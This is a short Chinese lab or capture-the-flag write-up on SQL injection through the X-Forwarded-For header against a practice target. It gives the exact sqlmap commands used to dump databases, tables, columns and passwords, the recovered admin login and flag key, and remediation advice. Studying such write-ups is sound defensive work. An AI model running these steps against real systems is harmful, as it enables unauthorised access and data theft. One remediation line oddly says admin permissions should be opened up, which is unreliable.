目錄
- 找注入點
- post包進行sqlmap注入
0x00環境介紹
靶機http://219.153.49.228:48033,通過注入完成找到網站的key。
0x01復現過程
1.訪問網站使用admin/admin登入,用burpsuite截包尋找注入點
>>截到的包,正常放包回顯內容
>>加X-forwarded-for:1.1.1.1回顯IP數據改變,可能存在注入點
2.保存post包進行sql注入
保存post包1.txt,加上X-forwarded-for:*作為注入點,在windows上使用sqlmap跑
暴庫:python sqlmap.py -r 1.txt --dbs –batch
開始試了很多次,payload也換了幾個了沒成功,后來發現請求頭和請求體沒有分開。
>>修改后
a.暴數據庫
python sqlmap.py -r 1.txt --dbs
b.暴數據表
python sqlmap.py -r 1.txt -D webcalendar --tables
c.暴列表
python sqlmap.py -r 1.txt -D webcalendar -T user --columns
d.暴字段
python sqlmap.py -r 1.txt -D webcalendar -T user “password” --dumps
3.使用admin/116012900登入拿到key:mozhebb8300a328e13dd2abd55c5d8dd
0x02修復建議
(1)程序代碼里的所有查詢語句,使用標准化的數據庫查詢語句API接口,設定語句的參數進行過濾一些非法的字符,防止用戶輸入惡意的字符傳入到數據庫中執行sql語句。
(2)對用戶提交的的參數安全過濾,像一些特殊的字符(,()*&……%#等等)進行字符轉義操作,以及編碼的安全轉換。
(3)網站的代碼層編碼盡量統一,建議使用utf8編碼,如果代碼里的編碼都不一樣,會導致一些過濾被直接繞過。
(4)網站的數據類型,必須確定,是數字型,就是數字型,字符型就是字符型,數據庫里的存儲字段類型也設置為ini型。
(5)對用戶的操作權限進行安全限制,普通用戶只給普通權限,管理員后台的操作權限要放開,盡量減少對數據庫的惡意攻擊。
(6)網站的報錯信息盡量不要返回給客戶端,比如一些字符錯誤,數據庫的報錯信息,盡可能的防止泄露給客戶端。
0x03總結思考
首先通過回顯頁面異常找到對應的注入點,將post文件保存,然后使用sqlmap跑post包,另外請求體和請求頭一定要分開。